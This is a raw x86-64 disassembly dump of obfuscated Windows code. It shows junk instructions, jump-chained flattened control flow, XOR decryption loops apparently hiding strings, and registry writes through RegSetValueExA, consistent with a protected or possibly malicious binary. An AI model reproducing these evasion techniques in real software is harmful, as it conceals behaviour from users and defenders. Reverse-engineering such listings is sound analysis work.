mov eax, edx
shr eax, 1
shr eax, 0x1e
add edx, eax
jmp 0x1400278b1
movd dword [rcx - 8], xmm2
cmp r8d, 0x20
jl 0x140026d14
cmp r8d, 0x26
mov dword [rsp - 0x1c], 0x61d4a65c
jge 0x140027818
jmp 0x140027835
xchg rbp, rsp
test sil, sil
xchg r10, r10
xchg rsi, r12
jmp 0x140026dd6
cmp r8d, 0x1b
mov r9, r9
jge 0x140027233
movsxd rax, r8d
jmp 0x140027743
add eax, 0x457bc803
xor eax, 0x6f5c5440
add eax, 0x10761525
lea r9, [r9 + 1]
jmp 0x140026da1
lea rcx, [rsp + 0x40]
call fcn.1400a3b90
mov rcx, qword [rbp + 0x10]
xchg rsp, rsp
xor rcx, rsp
call fcn.1400dc920
lea r11, [rsp + 0x160]
jmp 0x1400278cb
mov r11, r11
mul r8d
mov eax, r8d
sub eax, edx
mov r15, r15
shr eax, 1
add eax, edx
jmp 0x140026f79
mov dword [rsp - 0x2c], 0x59183f9
lea rdx, [rsp + 0x40]
lea rdx, [rdx + 0x80]
xchg rcx, rsi
movups xmm0, xmmword [rsi]
jmp 0x140026af3
nop
mov r14, qword [rsp]
add rsp, 8
nop
mov rbp, qword [rsp]
jmp 0x1400278e8
cmp edi, 2
mov rcx, rcx
jl 0x140026ebb
jmp 0x1400276ca
movd xmm2, eax
xchg rsi, rsi
pshufd xmm2, xmm2, 0
pxor xmm3, xmm0
movq qword [rcx - 0x10], xmm3
mov dword [rsp - 0x30], esp
jmp 0x140026cf7
shr eax, 1
shr eax, 4
movsx eax, al
imul ecx, eax, 0x36
mov rsi, rsi
movzx eax, r8b
jmp 0x140026b93
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
mov dword [rsp - 0x20], esp
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14010c300]
jmp 0x140026fb4
mov dword [rsp - 0x14], 0x73d37940
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
jmp 0x140027249
imul ebx
sar edx, 4
mov eax, edx
jmp 0x140026d4a
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14010c300]
xchg rbx, rbx
packuswb xmm2, xmm2
jmp 0x1400275e3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
jmp 0x1400274a2
xor eax, 0x73223188
add eax, 0x4b06a761
xor eax, 0x22bda879
lea r9, [r9 + 1]
xchg rsi, rsi
jmp 0x14002763f
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r15, r15
jmp 0x14002753c
movzx eax, r8b
inc r8d
mov r8, r8
sub al, cl
add al, 0x66
sub al, 0x34
xor byte [r9 - 1], al
jmp 0x140026e20
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
mov rbx, rbx
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
jmp 0x1400269a7
mov dword [rsp - 0x28], 0x6734a93d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
mov dword [rsp - 0xc], 0x3a130302
movd dword [rcx - 8], xmm2
jmp 0x1400270b8
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
xchg rbx, rbx
paddb xmm2, xmm0
jmp 0x1400277ec
cmp ebx, 0xa8
jl 0x1400276b9
mov dword [rsp - 0x28], 0x7343a2b1
cmp ebx, 0xad
jge 0x140026edb
movsxd rax, ebx
jmp 0x140026c4e
sub ax, cx
mov dword [rsp - 0x44], ebp
sub ax, 0xffce
xor word [r9 - 2], ax
cmp r8d, 0x1b
jmp 0x14002722a
xchg rcx, rdi
xchg r10, rdx
movups xmmword [r10 - 0x50], xmm1
xchg rdx, r10
xchg rcx, r10
movups xmm1, xmmword [r10 + 0x50]
jmp 0x1400277a3
mov dword [rsp - 0x28], 0x2abd2d65
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x14002723d
mov eax, dword [0x14010cb88]
jmp 0x1400274f2
shr eax, 2
shr eax, 9
shr eax, 1
shr eax, 1
add edx, eax
mov r12, r12
movsx eax, dl
jmp 0x14002788b
xchg r10, rsp
movups xmmword [r10 + 0x50], xmm1
xchg rsp, r10
jmp 0x1400277d3
mov dword [rsp - 0x30], ecx
mov eax, dword [rcx + 0xa8]
mov dword [rdx + 0x28], eax
movzx eax, byte [rcx + 0xac]
jmp 0x140026b67
mov eax, 0x371af7d6
xor eax, 0x23df8805
add eax, 0x587da2d2
jmp 0x140027009
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x14010c300]
packuswb xmm2, xmm2
mov r11, r11
jmp 0x14002709f
movdqa xmm0, xmm1
psrld xmm0, xmm8
xchg rbx, rbx
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
jmp 0x140027652
add al, 0x48
sub al, 0x16
xor byte [r9 - 1], al
cmp r8d, 0x35
mov dword [rsp - 0x1c], 0x14897405
jl 0x1400272d4
lea rcx, [rsp + 0x40]
jmp 0x140026c19
sub eax, 0x27d029d3
sub eax, 0x1e2c86
add eax, 0x20c6cbc0
lea r9, [r9 + 2]
imul r8d
mov dword [rsp - 0x28], edi
jmp 0x140026e64
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
xchg r8, r8
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
jmp 0x1400276ec
mov r15, r15
jl 0x140027751
lea rcx, [rsp + 0x40]
call fcn.1400a0e70
mov sil, 0x5e
sub sil, 0x2e
jmp 0x140027865
mov r13, r13
movd dword [rcx - 8], xmm2
cmp r8d, 0x30
jl 0x140026aa2
mov dword [rsp - 0xc], 0x19883b8b
cmp r8d, 0x35
jmp 0x1400276fc
jl 0x1400270d8
mov dword [rsp - 0x24], 0x3f9d8bb9
movdqa xmm0, xmmword [str.2222222222222222]
lea rcx, [rsp + 0x44]
jmp 0x140027717
movups xmm0, xmmword [r10 + 0x20]
xchg r10, rcx
movups xmmword [rdx - 0x70], xmm1
mov r9, r9
jmp 0x140026d2f
add sil, 0x30
xor sil, 0x7a
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xchg rdx, rdx
xchg rsp, rbp
movaps xmm9, xmmword [rbp + 0x120]
jmp 0x140026e9d
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x1e50a8da
add eax, 0x414e53d7
jmp 0x1400273b9
movups xmm1, xmmword [0x14010cba0]
mov dword [rsp - 0x40], 0x4ff5f1b7
movups xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [0x14010cbb0]
jmp 0x14002714c
mov word [rsp + 0x74], ax
movups xmm0, xmmword [0x14010cb58]
movups xmm1, xmmword [0x14010cb68]
xchg rsp, rsi
movups xmmword [rsi + 0x40], xmm0
xchg rsi, rsp
movups xmm0, xmmword [0x14010cb78]
jmp 0x140026ca9
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
mov dword [rsp - 0x34], ebx
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
mov dword [rsp - 0x18], ebp
jmp 0x140026ff7
punpckhdq xmm0, xmm2
xchg rsp, rsp
paddd xmm3, xmm5
pmuldq xmm0, xmm4
jmp 0x140026b20
movdqa xmm7, xmmword [str.6666]
movdqa xmm9, xmmword [0x14010c2f0]
movd xmm6, r14d
mov dword [rsp - 0x30], esi
movd xmm8, r15d
jmp 0x140027461
mov r8d, ebx
mov dword [rsp + 0x60], eax
movzx eax, word [0x14010cbec]
jmp 0x140027575
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
mov rdx, rdx
shufps xmm1, xmm0, 0xdd
jmp 0x140027056
sub eax, 0x2d829cd5
sub eax, 0x2280fdcc
sub eax, 0xd78081
jmp 0x140026ec3
mov dword [rsp + 0x28], r14d
lea rdx, [rbp]
mov r9d, r14d
xchg r11, rax
mov qword [rsp + 0x20], r11
xchg r11, rax
xor r8d, r8d
jmp 0x140027114
movups xmmword [rbp - 0x10], xmm0
xchg rdx, rbp
xchg r14, rcx
movups xmm0, xmmword [r14 + 0x90]
xchg r14, rcx
jmp 0x140026df5
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
mov dword [rsp - 0xc], edi
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14010c300]
packuswb xmm2, xmm2
jmp 0x140027078
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
mov dword [rsp - 0x30], 0x6766628
psubd xmm3, xmm0
jmp 0x140026f90
xchg r10, rsp
xchg rsp, rdi
movups xmmword [rdi + 0x60], xmm0
xchg rsp, rdi
jmp 0x140026f4a
nop dword [rax]
nop word [rax + rax]
mov dword [rsp - 0x20], esi
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
mov dword [rsp - 0x1c], 0x457ea770
jmp 0x140027593
movdqa xmm1, xmm2
mov dword [rsp - 0x2c], 0x72988cb1
movdqa xmm0, xmm2
jmp 0x14002732c
paddd xmm0, xmm1
xchg rcx, rcx
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
jmp 0x140026c8d
add eax, 0x3da887ba
sub eax, 0x314dd7f4
xor eax, 0xa658989
xor eax, 0x6ce522ff
lea r8, [r8 + 1]
xchg rsi, rsi
jmp 0x140026fd2
mov dword [rsp - 0x24], 0x5c967050
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
jmp 0x140026f5b
mov dword [rsp - 0x44], 0x3f287469
mov r8d, ebx
mov dword [rsp + 0x70], eax
movzx eax, word [0x14010cb8c]
xchg r10, r10
jmp 0x140027303
mov rbx, rbx
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
jmp 0x140026a01
movups xmmword [rbp + 0x40], xmm0
xchg rbp, rsp
xchg r8, rsp
movups xmmword [r8 + 0x50], xmm1
xchg r8, rsp
jmp 0x140026d6e
paddd xmm3, xmm5
pmuldq xmm0, xmm4
sub ebx, 0xfffffff8
pmuldq xmm1, xmm4
mov dword [rsp - 0x3c], 0x63315116
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
jmp 0x1400271a6
xchg rsi, rdx
movups xmmword [rsi + 0x10], xmm0
xchg rdx, rsi
mov qword [rdx + 0x20], rax
jmp 0x14002715c
mov r15, r15
mov word [rsp + 0x64], ax
movups xmm0, xmmword [str.PPPPRL]
movups xmm1, xmmword [0x14010cbd8]
xchg rbp, rsp
jmp 0x140027525
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
nop
add r8d, 0x5ecf3e91
sub r8d, 0x5ecf3e89
jmp 0x14002748d
add r8d, 0x53545ca2
sub r8d, 0x53545c9a
pmuldq xmm1, xmm4
xchg rbx, rbx
shufps xmm1, xmm0, 0xdd
jmp 0x140026db7
shr eax, 3
shr eax, 0xe
shr eax, 1
shr eax, 7
shr eax, 4
shr eax, 1
jmp 0x140026967
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
mov dword [rsp - 0x28], 0x89517df
jmp 0x140026e77
movd xmm6, r14d
movd xmm8, r15d
nop
jmp 0x140026d14
mov dword [rsp - 0x38], 0x7dc49ac4
nop
mov r15, qword [rsp]
add rsp, 8
jmp 0x140026f37
pmulld xmm0, xmm7
psubd xmm2, xmm0
mov rsp, rsp
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
jmp 0x140026e37
imul r8d
sar edx, 2
sar edx, 2
mov eax, edx
xchg r12, r12
jmp 0x14002776f
pshuflw xmm0, xmm2, 0xd8
mov dword [rsp - 0x30], esp
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x14010c300]
mov dword [rsp - 0x24], 0x25f4430
jmp 0x140027785
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
xchg r13, r13
jmp 0x140027189
mov edx, dword [rsp + 0x30]
mov dword [rsp - 0x34], esi
movd xmm6, r14d
movd xmm8, r15d
nop dword [rax]
nop word [rax + rax]
mov dword [rsp - 0x18], esi
jmp 0x1400276b9
movd xmm2, ebx
lea eax, [rbx + 4]
pshufd xmm2, xmm2, 0
jmp 0x1400277fd
movdqa xmm5, xmmword [0x14010c2c0]
lea rcx, [rsp + 0x40]
movdqa xmm4, xmmword [0x14010d420]
mov dword [rsp - 0x18], 0x159fb07f
jmp 0x140027364
shufps xmm1, xmm0, 0xdd
xchg r12, r12
psrad xmm1, xmm6
jmp 0x140026cbe
jge 0x1400271de
movsxd rax, r8d
lea r9, [rsp + 0x40]
mov dword [rsp - 0x2c], 0x6bff4a55
jmp 0x1400272c5
movdqa xmm5, xmmword [0x14010c2c0]
mov r8, r8
movdqa xmm4, xmmword [0x14010d420]
movdqa xmm7, xmmword [str.6666]
xchg r14, rsp
movdqa xmmword [r14 + 0x30], xmm0
xchg r14, rsp
jmp 0x140027690
lea r9, [rsp + 0x40]
mov dword [rsp - 0x30], esi
lea r9, [r9 + rax*2]
nop
mov eax, 0x1ef79c82
jmp 0x140026b75
movups xmm0, xmmword [rsi + 0x60]
xchg rcx, rsi
xchg r9, rdx
movups xmmword [r9 - 0x30], xmm1
jmp 0x140026b0a
shr eax, 0xc
shr eax, 0x13
add edx, eax
movsx eax, dl
mov r15, r15
imul ecx, eax, 0x36
jmp 0x14002703d
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
mov dword [rsp - 0x14], ecx
paddb xmm2, xmm0
jmp 0x140027207
xchg rcx, r10
movups xmmword [rdx - 0x40], xmm0
mov dword [rsp - 0x44], 0x6304555
xchg rcx, rsi
jmp 0x14002775b
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
mov r15, r15
jmp 0x140026d59
xchg r11, rsp
movups xmmword [r11 + 0x60], xmm0
xchg rsp, r11
cmp edi, 2
jl 0x140027702
jmp 0x140026a44
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
mov rdi, rdi
jmp 0x14002739b
lea rcx, [rcx + 8]
xchg rsp, rsp
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
xchg r10, r10
jmp 0x140027024
lea rcx, [rsp + 0x40]
call fcn.1400e3550
lea rcx, [0x14010cbf0]
mov rax, qword [rcx + 0xa0]
jmp 0x140026f18
movsxd rax, r8d
lea r9, [rsp + 0x40]
xchg rsp, rsp
add r9, rax
jmp 0x140026a12
add eax, 0x69a46fcc
sub eax, 0x52f1d976
xor eax, 0x34b31985
add eax, 0x1e8cda09
lea r9, [r9 + 1]
jmp 0x140026f01
add sil, 0x1e
sub sil, 9
sub sil, 0x29
add sil, 0x2f
jmp 0x1400272a0
pshufd xmm2, xmm1, 0xd8
mov r11, r11
movdqa xmm1, xmm3
jmp 0x140026c04
imul ecx, eax, 0x36
movzx eax, bl
mov dword [rsp - 0x30], esp
inc ebx
sub al, cl
neg al
jmp 0x140026e03
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
mov rbp, rbp
jmp 0x1400277ba
movzx eax, dx
mov dword [rsp - 0x28], 0x4129bea1
imul ecx, eax, 0x36
movzx eax, r8w
inc r8d
jmp 0x1400270e0
xchg rbx, r8
mov r8, qword [r11 + 0x28]
xchg rbx, r8
mov rdi, qword [r11 + 0x30]
xchg r11, rcx
movaps xmm6, xmmword [rcx - 0x10]
xchg r11, rcx
jmp 0x140026a26
add rsp, 8
ret